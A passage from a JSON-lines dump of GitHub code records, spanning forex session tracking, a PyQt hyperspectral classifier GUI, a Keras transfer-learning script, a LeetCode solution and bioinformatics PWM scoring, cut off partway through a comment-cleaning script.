SessionNames.US, SessionNames.Pre_US, SessionOpen\n else:\n if my_hour == 13:\n # end of US session - so log out US session highs/lows\n session_avg = self.historic_sessions.get_averages(SessionNames.Pre_Asia)\n self.live_sessions[SessionNames.Pre_Asia].start_session(SessionNames.Pre_Asia, bid_price_now, ask_price_now, my_time, pip_size, session_avg)\n self.current_session = SessionNames.Pre_Asia\n self.live_sessions[SessionNames.US].end_session(bid_price_now, ask_price_now, my_time)\n self.previous_session = SessionNames.US\n self.historic_sessions.add_completed_session(self.live_sessions[SessionNames.US])\n\n if logging and not sender.IsWarmingUp: sender.Log(self.live_sessions[SessionNames.US].dump_session())\n if my_hour == 19: #Japan opens\n SessionOpen = True\n return SessionNames.Pre_Asia, SessionNames.US, SessionOpen \n \n\n\n def UpdateSessionsHighsLows(self, ask_price_low, ask_price_high, bid_price_low, bid_price_high, time_now): \n if self.current_session == SessionNames.Asia:\n self.live_sessions[SessionNames.Asia].update_sessions(ask_price_low, ask_price_high, bid_price_low, bid_price_high, time_now)\n elif self.current_session == SessionNames.Europe:\n self.live_sessions[SessionNames.Europe].update_sessions(ask_price_low, ask_price_high, bid_price_low, bid_price_high, time_now)\n elif self.current_session == SessionNames.Pre_US:\n self.live_sessions[SessionNames.Pre_US].update_sessions(ask_price_low, ask_price_high, bid_price_low, bid_price_high, time_now)\n elif self.current_session == SessionNames.US:\n self.live_sessions[SessionNames.US].update_sessions(ask_price_low, ask_price_high, bid_price_low, bid_price_high, time_now)\n elif self.current_session == SessionNames.Pre_Asia:\n self.live_sessions[SessionNames.Pre_Asia].update_sessions(ask_price_low, ask_price_high, bid_price_low, bid_price_high, time_now)\n\n \n def get_smart_session_low_time_and_price(self, session= \"current\", compare_price=0.0, bar_tolerance=3):\n if session == \"current\":\n bar_of_current = 0\n bar_of_current = self.live_sessions[self.current_session].session_bar\n session_to_use = self.current_session\n\n if bar_of_current < bar_tolerance // 3:\n # not enough bars in the session to use\n return (None, 0.0)\n\n # now return the low time and price of the relevant session\n return self.live_sessions[session_to_use].low_time, self.live_sessions[session_to_use].low_bid\n elif session == \"prev\":\n # now return the low time and price of the relevant session\n if self.previous_session == SessionNames.Pre_US and compare_price >= self.live_sessions[SessionNames.Europe].low_bid:\n return self.live_sessions[SessionNames.Europe].low_time, self.live_sessions[SessionNames.Europe].low_bid\n elif self.previous_session == SessionNames.Pre_US and compare_price < self.live_sessions[SessionNames.Europe].low_bid: \n return self.live_sessions[SessionNames.Asia].low_time, self.live_sessions[SessionNames.Asia].low_bid\n \n elif self.previous_session == SessionNames.Pre_Asia and compare_price >= self.live_sessions[SessionNames.US].low_bid:\n return self.live_sessions[SessionNames.US].low_time, self.live_sessions[SessionNames.US].low_bid\n elif self.previous_session == SessionNames.Pre_Asia and compare_price < self.live_sessions[SessionNames.US].low_bid:\n return self.live_sessions[SessionNames.Europe].low_time, self.live_sessions[SessionNames.Europe].low_bid\n else:\n if compare_price >= self.live_sessions[self.previous_session].low_bid:\n return self.live_sessions[self.previous_session].low_time, self.live_sessions[self.previous_session].low_bid\n else:\n if self.previous_session == SessionNames.Asia:\n return self.live_sessions[SessionNames.US].low_time, self.live_sessions[SessionNames.US].low_bid\n elif self.previous_session == SessionNames.Europe:\n return self.live_sessions[SessionNames.Asia].low_time, self.live_sessions[SessionNames.Asia].low_bid\n elif self.previous_session == SessionNames.US:\n return self.live_sessions[SessionNames.Europe].low_time, self.live_sessions[SessionNames.Europe].low_bid\n else:\n return(None, 0.0)\n \n\n def get_smart_session_high_time_and_price(self, session=\"current\", compare_price=0.0, bar_tolerance=3):\n if session == \"current\":\n bar_of_current = 0\n bar_of_current = self.live_sessions[self.current_session].session_bar\n session_to_use = self.current_session\n\n if bar_of_current < bar_tolerance // 3:\n # not enough bars in this session to use\n return(None, 0.0)\n\n # now return the high time and price of the relevant session\n return self.live_sessions[session_to_use].high_time, self.live_sessions[session_to_use].high_bid\n elif session == \"prev\":\n # now return the high time and price of the relevant session\n if self.previous_session == SessionNames.Pre_US and compare_price <= self.live_sessions[SessionNames.Europe].high_bid:\n return self.live_sessions[SessionNames.Europe].high_time, self.live_sessions[SessionNames.Europe].high_bid\n elif self.previous_session == SessionNames.Pre_US and compare_price > self.live_sessions[SessionNames.Europe].high_bid: \n return self.live_sessions[SessionNames.Asia].high_time, self.live_sessions[SessionNames.Asia].high_bid\n \n elif self.previous_session == SessionNames.Pre_Asia and compare_price <= self.live_sessions[SessionNames.US].high_bid:\n return self.live_sessions[SessionNames.US].high_time, self.live_sessions[SessionNames.US].high_bid\n elif self.previous_session == SessionNames.Pre_Asia and compare_price > self.live_sessions[SessionNames.US].high_bid:\n return self.live_sessions[SessionNames.Europe].high_time, self.live_sessions[SessionNames.Europe].high_bid\n else:\n if compare_price <= self.live_sessions[self.previous_session].high_bid:\n return self.live_sessions[self.previous_session].high_time, self.live_sessions[self.previous_session].high_bid\n else:\n if self.previous_session == SessionNames.Asia:\n return self.live_sessions[SessionNames.US].high_time, self.live_sessions[SessionNames.US].high_bid\n elif self.previous_session == SessionNames.Europe:\n return self.live_sessions[SessionNames.Asia].high_time, self.live_sessions[SessionNames.Asia].high_bid\n elif self.previous_session == SessionNames.US:\n return self.live_sessions[SessionNames.Europe].high_time, self.live_sessions[SessionNames.Europe].high_bid\n else:\n return(None, 0.0)\n\n\n # track back through the bars, find the one after the time at which the low price was formed, and gount consecutive greens\n def count_greens_from_low(self, mybars, mycolours, low_time, low_price):\n count = 0\n x_value = 0.0\n found_it = -1\n for i in range(mybars.Count):\n if mybars[i].Time <= low_time:\n found_it = i-1\n break\n if found_it >= 0:\n if mycolours[found_it+1] == GREEN:\n # the low bar was actually set by a green, so wind the counter back by 1\n found_it += 1\n # now find X which will be the HIGH of the red candle which is followed by the GREENs - ie the candle to the left\n x_value = mybars[found_it+1].Bid.High\n for i in range(found_it, 0, -1):\n if mycolours[i] == GREEN:\n count += 1\n else:\n break\n return (count, x_value)\n\n # track back through the bars, find the one after the time at which the high price was formed, and gount consecutive reds\n def count_reds_from_high(self, mybars, mycolours, high_time, high_price):\n count = 0\n x_value = 0.0\n found_it = -1\n for i in range(mybars.Count):\n if mybars[i].Time <= high_time:\n found_it = i-1\n break\n if found_it >= 0:\n if mycolours[found_it+1] == RED:\n # the high bar was actually set by a red, so wind the counter back by 1\n found_it += 1\n # now find X which will be the LOW of the green candle which is followed by the REDs - ie the candle to the left\n x_value = mybars[found_it+1].Bid.Low\n for i in range(found_it, 0, -1):\n if mycolours[i] == RED:\n count += 1\n else:\n break\n return (count, x_value)","repo_name":"webclinic017/fusiongit-1","sub_path":"symbol_info_2.py","file_name":"symbol_info_2.py","file_ext":"py","file_size_in_byte":38235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73211043600","text":"import os\nfrom PyQt5 import QtWidgets, QtGui, QtCore\nimport numpy as np\nfrom typing import *\nimport pickle\n\nfrom logger import getLogger\nfrom readConfig import sampleDirectory\nfrom dataObjects import View, getFilePathHash\nfrom loadCube import loadCube\nfrom legacyConvert import assertUpToDateView\nfrom gui.multisampleview import MultiSampleView\nfrom gui.graphOverlays import GraphOverlays\nfrom gui.spectraPlots import ResultPlots\nfrom gui.preprocessEditor import PreprocessingSelector\nfrom gui.classUI import ClassCreator, ClassificationUI\n\n\nif TYPE_CHECKING:\n from logging import Logger\n from preprocessing.preprocessors import Preprocessor\n from gui.classUI import ClassInterpretationParams\n from gui.sampleview import SampleView\n from spectraObject import SpectraCollection\n\n\nclass MainWindow(QtWidgets.QMainWindow):\n def __init__(self):\n super(MainWindow, self).__init__()\n self.setWindowTitle(\"HSI Classifier\")\n self._logger: 'Logger' = getLogger(\"MainWindow\")\n\n self._multiSampleView: MultiSampleView = MultiSampleView(self)\n self._resultPlots: ResultPlots = ResultPlots()\n self._preprocSelector: PreprocessingSelector = PreprocessingSelector(self, self._resultPlots)\n self._clsCreator: ClassCreator = ClassCreator()\n self._clfWidget: ClassificationUI = ClassificationUI(self)\n\n self._saveViewAct: QtWidgets.QAction = QtWidgets.QAction(\"&Save View\")\n self._exportSpecAct: QtWidgets.QAction = QtWidgets.QAction(\"&Export Spectra to ASCII\")\n self._detectParticlesAct: QtWidgets.QAction = QtWidgets.QAction(\"&Detect Particles\")\n self._flipVerticalAct: QtWidgets.QAction = QtWidgets.QAction(\"Flip vertically\")\n self._flipHorizontalAct: QtWidgets.QAction = QtWidgets.QAction(\"Flip horizontally\")\n\n self._configureWidgets()\n self._createMenuBar()\n self._createLayout()\n self.disableWidgets()\n\n def setupConnections(self, sampleView: 'SampleView') -> None:\n graphView: 'GraphOverlays' = sampleView.getGraphOverlayObj()\n graphView.SelectionChanged.connect(self._preprocSelector.updatePreviewSpectra)\n\n self._clfWidget.ClassTransparencyUpdated.connect(graphView.updateClassImgTransp)\n self._clsCreator.ClassDeleted.connect(sampleView.removeClass)\n sampleView.ClassDeleted.connect(graphView.removeColorOfClass)\n\n def classIsVisible(self, className: str) -> bool:\n \"\"\"\n Returns, if the given class is set to visible or not-visible in the class selector.\n \"\"\"\n return self._clsCreator.getClassVisibility(className)\n\n def updateClassCreatorClasses(self) -> None:\n \"\"\"\n Makes sure that the class creator is set up to all classes in the currently loaded samples.\n Missing classes are added, not used classes are removed\n \"\"\"\n classes: Set[str] = self._multiSampleView.getClassNamesFromAllSamples()\n self._clsCreator.setupToClasses(classes)\n\n def getColorOfClass(self, className: str) -> Tuple[int, int, int]:\n \"\"\"\n Returns a unique color for the class. Color is returned in 0-255 int values for R, G, B.\n \"\"\"\n return self._clsCreator.getColorOfClassName(className)\n\n def getClassColorDict(self) -> Dict[str, Tuple[int, int, int]]:\n \"\"\"\n Gets a dictionary containing the colors of all present classes.\n \"\"\"\n return self._clsCreator.getClassColorDict()\n\n def getresultPlots(self) -> 'ResultPlots':\n return self._resultPlots\n\n def getLabelledSpectraFromActiveView(self) -> 'SpectraCollection':\n \"\"\"\n Gets the currently labelled Spectra from the currently active sampleview.\n :return: Spectra Collection with all data\n \"\"\"\n return self._multiSampleView.getLabelledSpectraFromActiveView()\n\n def getLabelledSpectraFromAllViews(self) -> 'SpectraCollection':\n \"\"\"\n Gets the currently labelled Spectra from all active samples, grouped i a dictionary with samplename as key\n :return: Spectra Collection with all data\n \"\"\"\n return self._multiSampleView.getLabelledSpectraFromAllViews()\n\n def getAllSamples(self) -> List['SampleView']:\n \"\"\"\n Returns a list of the opened samples.\n \"\"\"\n return self._multiSampleView.getSampleViews()\n\n def getActiveSample(self) -> 'SampleView':\n \"\"\"\n Returns the currently active sampleview.\n \"\"\"\n return self._multiSampleView.getActiveSample()\n\n def getPreprocessorsForClassification(self) -> List['Preprocessor']:\n \"\"\"\n Returns the stack of Preprocessors for the current classification setup (i.e., as connected to the \"Classification\"\n node in the nodegraph.\n \"\"\"\n return self._preprocSelector.getPreprocessorsForClassification()\n\n def getPreprocessorsForSpecPreview(self):\n \"\"\"\n Returns the stack of Preprocessors for the spectra preview (i.e., as connected to the \"Spectra\" node in the\n nodegraph.\n \"\"\"\n return self._preprocSelector.getPreprocessorsForSpecPreview()\n\n def getWavelengths(self) -> np.ndarray:\n return self._multiSampleView.getWavelengths()\n\n def getCurrentColor(self) -> Tuple[int, int, int]:\n return self._clsCreator.getCurrentColor()\n\n def getCurrentClass(self) -> str:\n return self._clsCreator.getCurrentClass()\n\n def getClassInterprationParams(self) -> 'ClassInterpretationParams':\n return self._clfWidget.getClassInterpretationParams()\n\n def _promptLoadNPYSample(self) -> None:\n \"\"\"Prompts for a npy file to open as sample\"\"\"\n fnames, _ = QtWidgets.QFileDialog.getOpenFileNames(self, \"Select Files\",\n sampleDirectory,\n filter=\"*.npy *.hdr\")\n for fname in fnames:\n self._loadFile(fname)\n\n def _loadFile(self, fname: str) -> None:\n name = os.path.basename(fname.split('.npy')[0])\n savedSampleDir: str = self._multiSampleView.getSampleSaveDirectory()\n savedSamplePath: str = os.path.join(savedSampleDir, getFilePathHash(fname) + '.pkl')\n\n if os.path.exists(savedSamplePath):\n self._multiSampleView.loadSampleViewFromFile(savedSamplePath)\n self._logger.info(f\"Loading saved status for sample {name}\")\n else:\n cube, wavelengths = loadCube(fname)\n newView: 'SampleView' = self._multiSampleView.addSampleView()\n newView.setUp(fname, cube, wavelengths)\n self._logger.info(f\"Creating new sample from: {name}\")\n\n self.enableWidgets()\n self.showMaximized()\n\n def getDescriptorLibrary(self) -> 'DescriptorLibrary':\n return self._resultPlots.getDecsriptorLibrary()\n\n def _promptLoadView(self) -> None:\n \"\"\"Prompts for a view file to open\"\"\"\n directory: str = self._multiSampleView.getViewSaveDirectory()\n loadPath, _ = QtWidgets.QFileDialog.getOpenFileName(self, \"Select File\", directory, \"*.view\")\n if loadPath:\n self._loadView(loadPath)\n\n def _promptSaveView(self) -> None:\n \"\"\"Prompts for saving the current view. See method in multisampleview for details.\"\"\"\n directory: str = self._multiSampleView.getViewSaveDirectory()\n savePath, _ = QtWidgets.QFileDialog.getSaveFileName(self, \"Select File\", directory, \"*.view\")\n if savePath:\n self._saveView(savePath)\n QtWidgets.QMessageBox.about(self, \"Done\", \"Saved the current view.\")\n\n def _saveView(self, savePath: str) -> None:\n \"\"\"\n Saves the current view (all open samples, the preprocessor and the notepad into a file.\n :param savePath: the full path to where to save the view\n \"\"\"\n viewObj: View = View()\n for sample in self._multiSampleView.getSampleViews():\n sample.saveCoordinatesToSampleData()\n sampleData = sample.getSampleDataToSave()\n viewObj.samples.append(sampleData)\n\n viewObj.processingGraph = self._preprocSelector.getProcessingGraph()\n viewObj.title = os.path.basename(savePath.split(\".\")[0])\n with open(savePath, \"wb\") as fp:\n pickle.dump(viewObj, fp)\n\n def _newSampleView(self) -> None:\n \"\"\"\n Opens a new sample view that can be used for database queries.\n \"\"\"\n newView: 'SampleView' = self._multiSampleView.addSampleView()\n defaultCube: np.ndarray = np.zeros((1000, 300, 300))\n newView.setUp(\"\", defaultCube, np.arange(defaultCube.shape[0])) # some placeholder data\n self.enableWidgets()\n\n def _loadView(self, fname: str) -> None:\n \"\"\"\n Loads a view.\n :fname: full path to the file to load.\n \"\"\"\n assert os.path.exists(fname), f\"The specified file to load: {fname} does not exist.\"\n with open(fname, \"rb\") as fp:\n loadedView: View = pickle.load(fp)\n loadedView = assertUpToDateView(loadedView)\n view: View = View()\n view.__dict__.update(loadedView.__dict__)\n\n if view.title != '':\n self.setWindowTitle(f\"HSI Evaluator - {view.title}\")\n self._clsCreator.deleteAllClasses()\n self._multiSampleView.createListOfSamples(view.samples)\n self._multiSampleView.positonSampleViewsAsSaved()\n self._preprocSelector.applyPreprocessingConfig(view.processingGraph)\n self._preprocSelector.updatePreviewSpectra()\n self.enableWidgets()\n self.showMaximized()\n\n def _export(self) -> None:\n raise NotImplementedError\n\n @QtCore.pyqtSlot()\n def enableWidgets(self) -> None:\n for widget in self._getUIWidgetsForSelectiveEnabling():\n widget.setDisabled(False)\n\n @QtCore.pyqtSlot()\n def disableWidgets(self) -> None:\n for widget in self._getUIWidgetsForSelectiveEnabling():\n widget.setDisabled(True)\n\n def _configureWidgets(self) -> None:\n \"\"\"\n Sets parameters to the widgets of that window and establishes connections.\n :return:\n \"\"\"\n self._clsCreator.ClassActivated.connect(self._resultPlots.switchToDescriptorSet)\n self._clsCreator.setMaximumWidth(300)\n\n self._clfWidget.setMaximumWidth(300)\n self._clfWidget.ClassInterpretationParamsChanged.connect(self._multiSampleView.updateClassificationResults)\n\n self._resultPlots.setMainWinRef(self)\n\n def _createMenuBar(self) -> None:\n \"\"\"Creates the Menu bar\"\"\"\n filemenu: QtWidgets.QMenu = QtWidgets.QMenu(\"&File\", self)\n newAct: QtWidgets.QAction = QtWidgets.QAction(\"&New Sample\", self)\n newAct.setShortcut(\"Ctrl+N\")\n newAct.triggered.connect(self._newSampleView)\n\n openAct: QtWidgets.QAction = QtWidgets.QAction(\"&Open Sample(s)\", self)\n openAct.setShortcut(\"Ctrl+O\")\n openAct.triggered.connect(self._promptLoadNPYSample)\n\n loadViewAct: QtWidgets.QAction = QtWidgets.QAction(\"Open &View\", self)\n loadViewAct.triggered.connect(self._promptLoadView)\n loadViewAct.setShortcut(\"Ctrl+Shift+O\")\n\n self._saveViewAct.triggered.connect(self._promptSaveView)\n self._saveViewAct.setShortcut(\"Ctrl+S\")\n\n self._exportSpecAct.triggered.connect(self._multiSampleView.exportSpectra)\n self._exportSpecAct.setShortcut(\"Ctrl+E\")\n\n self._detectParticlesAct.triggered.connect(self._multiSampleView.runParticleDetectionInAllSamples)\n self._flipHorizontalAct.triggered.connect(self._multiSampleView.flipSamplesHorizontally)\n self._flipVerticalAct.triggered.connect(self._multiSampleView.flipSamplesVertically)\n closeAct: QtWidgets.QAction = QtWidgets.QAction(\"Close &Program\", self)\n closeAct.triggered.connect(self.close)\n\n filemenu.addAction(newAct)\n filemenu.addAction(openAct)\n filemenu.addSeparator()\n filemenu.addAction(loadViewAct)\n filemenu.addAction(self._saveViewAct)\n filemenu.addSeparator()\n filemenu.addAction(closeAct)\n\n toolsmenu: QtWidgets.QMenu = QtWidgets.QMenu(\"&Tools\", self)\n toolsmenu.addAction(self._exportSpecAct)\n toolsmenu.addAction(self._detectParticlesAct)\n toolsmenu.addSeparator()\n toolsmenu.addAction(self._flipVerticalAct)\n toolsmenu.addAction(self._flipHorizontalAct)\n\n visibilityMenu: QtWidgets.QMenu = QtWidgets.QMenu(\"&Visibility\", self)\n toggleToolBarsAct: QtWidgets.QAction = QtWidgets.QAction(\"Toggle Sample &Info\", self)\n toggleToolBarsAct.triggered.connect(self._multiSampleView.toggleSampleToolbars)\n toggleToolBarsAct.setShortcut(\"I\")\n \n toggleParticlesAct: QtWidgets.QAction = QtWidgets.QAction(\"Toggle &Particles\", self)\n toggleParticlesAct.triggered.connect(self._multiSampleView.toggleParticles)\n toggleParticlesAct.setShortcut(\"P\")\n\n visibilityMenu.addAction(toggleToolBarsAct)\n visibilityMenu.addAction(toggleParticlesAct)\n\n self.menuBar().addMenu(filemenu)\n self.menuBar().addMenu(toolsmenu)\n self.menuBar().addMenu(visibilityMenu)\n\n def _createLayout(self) -> None:\n \"\"\"\n Creates the actual window layout.\n :return:\n \"\"\"\n clsTabView: QtWidgets.QTabWidget = QtWidgets.QTabWidget()\n clsTabView.addTab(self._clsCreator, \"Select Classes\")\n clsTabView.addTab(self._clfWidget, \"Select/Apply Classifier\")\n clsTabView.setFixedWidth(max([self._clsCreator.width(), self._clfWidget.width()]))\n\n splitter1: QtWidgets.QSplitter = QtWidgets.QSplitter(QtCore.Qt.Vertical)\n splitter1.addWidget(self._preprocSelector)\n splitter1.addWidget(self._resultPlots)\n\n splitter2: QtWidgets.QSplitter = QtWidgets.QSplitter(QtCore.Qt.Horizontal)\n splitter2.addWidget(self._multiSampleView)\n splitter2.addWidget(splitter1)\n\n group: QtWidgets.QGroupBox = QtWidgets.QGroupBox()\n layout: QtWidgets.QHBoxLayout = QtWidgets.QHBoxLayout()\n group.setLayout(layout)\n self.setCentralWidget(group)\n\n layout.addWidget(clsTabView)\n layout.addWidget(splitter2)\n\n def _getUIWidgetsForSelectiveEnabling(self) -> List[QtWidgets.QWidget]:\n \"\"\"\n Returns a list of ui widgets that can be disabled and enabled, depedning on current ui context\n \"\"\"\n widgetList = [self._saveViewAct, self._multiSampleView, self._resultPlots, self._clfWidget, self._clsCreator,\n self._exportSpecAct, self._preprocSelector]\n return widgetList\n\n def closeEvent(self, a0: QtGui.QCloseEvent) -> None:\n reply = QtWidgets.QMessageBox.question(self, \"Close Program\", \"Are you sure you want to close?\",\n QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No,\n QtWidgets.QMessageBox.No)\n if reply == QtWidgets.QMessageBox.Yes:\n self._multiSampleView.saveSamples()\n self._multiSampleView.closeAllSamples()\n a0.accept()\n else:\n a0.ignore()\n\n\ndef main():\n import sys\n app = QtWidgets.QApplication(sys.argv)\n app.setApplicationName(\"HSI Evaluator\")\n win = MainWindow()\n win.showMaximized()\n app.exec_()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Brandt-J/HSI-Evaluator","sub_path":"gui/HSIEvaluator.py","file_name":"HSIEvaluator.py","file_ext":"py","file_size_in_byte":15395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29961247636","text":"from models.JointClassifier import JOINT_DISTRIBUTION_PATH\nfrom matplotlib import pyplot\nimport pickle\nimport numpy\n\n\ndef normalize_frequency_matrix(frequency_matrix, log_scale):\n \"\"\"\n for each true value Y, normalize observed values x such that the sum of p(x_i|Y) for all i = 1\n :param probability_matrix:\n :param log_scale:\n :return:\n \"\"\"\n sum_y = numpy.sum(frequency_matrix, axis=1)\n\n probability_matrix = frequency_matrix / sum_y[:, numpy.newaxis]\n\n if log_scale:\n probability_matrix = numpy.log10(probability_matrix)\n\n return probability_matrix\n\n\ndef load_pickled_distribution(path):\n with open(path, 'rb') as pickle_file:\n distribution = pickle.load(pickle_file)\n\n return distribution\n\n\ndef main():\n distribution = load_pickled_distribution(\"/home/ryan/code/nanopore_assembly/output/joint_runlength_base_model/distribution/distribution_2018_10_9_19_12_45_654730.pkl\")\n\n # print(distribution.keys())\n max_runlength = 50\n for base in [\"A\", \"G\", \"T\", \"C\"]:\n base_self_distribution = numpy.zeros([max_runlength, max_runlength])\n\n for r_x, observed_repeat in enumerate(range(1, max_runlength+1)):\n for r_y, true_repeat in enumerate(range(1, max_runlength+1)):\n key = ((base, observed_repeat),(base, true_repeat))\n\n probability = distribution[key]\n\n base_self_distribution[r_y,r_x] = probability\n\n base_self_distribution = normalize_frequency_matrix(base_self_distribution, log_scale=True)\n pyplot.title(base+\":\"+ base +\" Log probabilities\")\n pyplot.imshow(base_self_distribution)\n pyplot.show()\n pyplot.close()\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"rlorigro/nanopore_assembly","sub_path":"plot_joint_distribution.py","file_name":"plot_joint_distribution.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74674898962","text":"class Solution:\n def mergeNodes(self, head: Optional[ListNode]) -> Optional[ListNode]:\n # build flat array\n stack = []\n while head:\n if head.val == 0 or stack[-1] == 0:\n stack.append(head.val) # next subsequence\n else:\n stack[-1] += head.val # condense\n head = head.next\n\n # convert to linked list\n head = None\n for s in reversed(stack):\n if s > 0:\n head = ListNode(s, head)\n return head\n","repo_name":"stbrumme/leetcode","sub_path":"2181.py","file_name":"2181.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"18589614097","text":"from keras.applications.inception_resnet_v2 import InceptionResNetV2\n\nfrom keras.models import Model\nfrom keras.layers import GlobalAveragePooling2D\nfrom keras.preprocessing import image\n\nimport h5py\n\nbase_model = InceptionResNetV2(weights='imagenet', include_top=False)\nmodel = Model(base_model.input, GlobalAveragePooling2D()(base_model.output))\n\n# train_data_dir = 'trainRun'\nimg_width, img_height = 299, 299\n# train_datagen = image.ImageDataGenerator(shear_range=0.2, zoom_range=0.2, horizontal_flip=True)\ntrain_datagen = image.ImageDataGenerator() # change 4\ntest_datagen = image.ImageDataGenerator()\ntrain_generator = train_datagen.flow_from_directory(\"trainRun\", target_size=(img_height, img_width), shuffle=False, batch_size=16)\ntest_generator = test_datagen.flow_from_directory(\"testRun\", target_size=(img_height, img_width), shuffle=False, batch_size=16, class_mode=None)\ntrain_h5py = model.predict_generator(train_generator)\ntest_h5py = model.predict_generator(test_generator)\n\nwith h5py.File(\"init_weights_InceptionRestNetV2.h5\") as h:\n h.create_dataset(\"train\", data=train_h5py)\n h.create_dataset(\"test\", data=test_h5py)\n h.create_dataset(\"label\", data=train_generator.classes)\n\n##\n\nimport numpy as np\nfrom sklearn.utils import shuffle\nnp.random.seed(2017)\n\nX_train = []\nX_test = []\n\nwith h5py.File(\"init_weights_InceptionRestNetV2.h5\", 'r') as h:\n X_train.append(np.array(h['train']))\n X_test.append(np.array(h['test']))\n y_train = np.array(h['label'])\n\nX_train = np.concatenate(X_train, axis=1)\nX_test = np.concatenate(X_test, axis=1)\n\nX_train, y_train = shuffle(X_train, y_train)\n\n##\n\nfrom keras.layers import Input, Dropout, Dense\nnp.random.seed(2017)\n\ninput_tensor = Input(X_train.shape[1:])\nx = Dropout(0.5)(input_tensor)\nx = Dense(1, activation='sigmoid')(x)\nmodel_run = Model(input_tensor, x)\n\nmodel_run.compile(optimizer='adadelta',\n loss='binary_crossentropy',\n metrics=['accuracy'])\n\n##\n\nmodel_run.fit(X_train, y_train, batch_size=128, nb_epoch=8, validation_split=0.2)\n\n##\n\ny_pred = model_run.predict(X_test, verbose=1)\ny_pred = y_pred.clip(min=0.003, max=0.997)\n\nimport pandas as pd\n\ndf = pd.read_csv(\"sample_submission.csv\")\n\ntest_run_datagen = image.ImageDataGenerator()\ntest_run_generator = test_run_datagen.flow_from_directory(\"testRun\", \n (img_height, img_width), \n shuffle=False, \n batch_size=16, \n class_mode=None)\n\nfor i, fname in enumerate(test_run_generator.filenames):\n index = int(fname[fname.rfind('/')+1:fname.rfind('.')])\n df.set_value(index-1, 'label', y_pred[i])\n\ndf.to_csv('pred_IceRNV2.csv', index=None)\ndf.head(10)\n\n\n# def write_gap(MODEL, image_size, lambda_func=None):\n# width = image_size[0]\n# height = image_size[1]\n# input_tensor = Input((height, width, 3))\n# x = input_tensor\n# if lambda_func:\n# x = Lambda(lambda_func)(x)\n\n# base_model = MODEL(input_tensor=x, weights='imagenet', include_top=False)\n# model = Model(base_model.input, GlobalAveragePooling2D()(base_model.output))\n\n# gen = ImageDataGenerator()\n# train_generator = gen.flow_from_directory(\"train2\", image_size, shuffle=False, \n# batch_size=16)\n# test_generator = gen.flow_from_directory(\"test2\", image_size, shuffle=False, \n# batch_size=16, class_mode=None)\n\n# train = model.predict_generator(train_generator, train_generator.nb_sample)\n# test = model.predict_generator(test_generator, test_generator.nb_sample)\n# with h5py.File(\"gap_%s.h5\"%MODEL.func_name) as h:\n# h.create_dataset(\"train\", data=train)\n# h.create_dataset(\"test\", data=test)\n# h.create_dataset(\"label\", data=train_generator.classes)\n\n# write_gap(ResNet50, (224, 224))\n# write_gap(InceptionV3, (299, 299), inception_v3.preprocess_input)\n# write_gap(Xception, (299, 299), xception.preprocess_input)","repo_name":"sxuya/proposal_MachineLearningUdacity","sub_path":"model_3rd.py","file_name":"model_3rd.py","file_ext":"py","file_size_in_byte":4148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5479145971","text":"#!/usr/bin/env python2.4\n\"\"\"\nReturns all positions of a maf with any pwm score > threshold\nThe positions are projected onto human coordinates\n\"\"\"\n\nimport sys\n\nfrom bx import intervals\nfrom bx.align import maf as align_maf\nfrom bx.pwm.pwm_score_maf import MafBlockScorer\nfrom . import position_weight_matrix as pwmx\n\n\ndef isnan(x):\n return not x == x\n\n\ndef main():\n if len(sys.argv) < 5:\n print(\"%s bedfile inmaf spec1,spec2,... motif_file \" % sys.argv[0], file=sys.stderr)\n sys.exit(0)\n\n # read in intervals\n regions = {}\n for line in open(sys.argv[1]):\n if line.startswith(\"#\"):\n continue\n fields = line.strip().split()\n chrom, start, end = fields[0], int(fields[1]), int(fields[2])\n try:\n name = fields[3]\n except IndexError:\n name = None\n if chrom not in regions:\n regions[chrom] = intervals.Intersecter()\n regions[chrom].add(start, end, name)\n\n pwm = {}\n for wm in pwmx.Reader(open(sys.argv[4])):\n pwm[wm.id] = wm\n print(wm.id, len(wm), file=sys.stderr)\n\n inmaf = open(sys.argv[2])\n threshold = 0.5\n\n species = []\n\n for sp in sys.argv[3].split(\",\"):\n species.append(sp)\n\n for maf in align_maf.Reader(inmaf):\n mafchrom = maf.components[0].src.split(\".\")[1]\n mafstart = maf.components[0].start\n mafend = maf.components[0].end\n reftext = maf.components[0].text\n\n # maf block scores for each matrix\n for scoremax, width, headers in MafBlockScorer(pwm, species, maf):\n blocklength = width\n mafsrc, mafstart, mafend = headers[0]\n mafchrom = mafsrc.split(\".\")[1]\n\n # lists of scores for each position in scoremax\n for mx_name, mx in scoremax.items():\n for offset in range(blocklength):\n # scan all species with threshold\n for i in range(len(species)):\n if mx[i][offset] > threshold:\n refstart = mafstart + offset - reftext.count(\"-\", 0, offset)\n refend = refstart + len(pwm[mx_name])\n\n data = \" \".join([\"%.2f\" % mx[x][offset] for x in range(len(species))])\n # quote the motif\n r = regions[mafchrom].find(refstart, refend)\n if mafchrom in regions and len(r) > 0:\n region_label = r[0].value\n else:\n continue\n v_name = mx_name.replace(\" \", \"_\")\n print(mafchrom, refstart, refend, region_label, v_name, data)\n break\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bxlab/bx-python","sub_path":"lib/bx/pwm/bed_score_aligned_pwm.py","file_name":"bed_score_aligned_pwm.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"3"} +{"seq_id":"6547355661","text":"import pandas as pd\nimport string\nfrom cleantext import clean\nfrom tqdm import tqdm\nfrom comments import downloadComments\nfrom textblob import TextBlob # correct the words in the sentences\nfrom Stopwords import stopwords\n\n\nfilename = downloadComments()\n\n\ndef stopwords_removal(sentence):\n word_tokens = sentence.split()\n filtered_sentence = [w for w in word_tokens if not w in stopwords]\n return \" \".join(filtered_sentence)\n\n\ndef correct_sentence_spelling(sentence):\n if isinstance(sentence, str):\n sentence = TextBlob(sentence)\n sentence = sentence.correct()\n return str(sentence)\n else:\n return 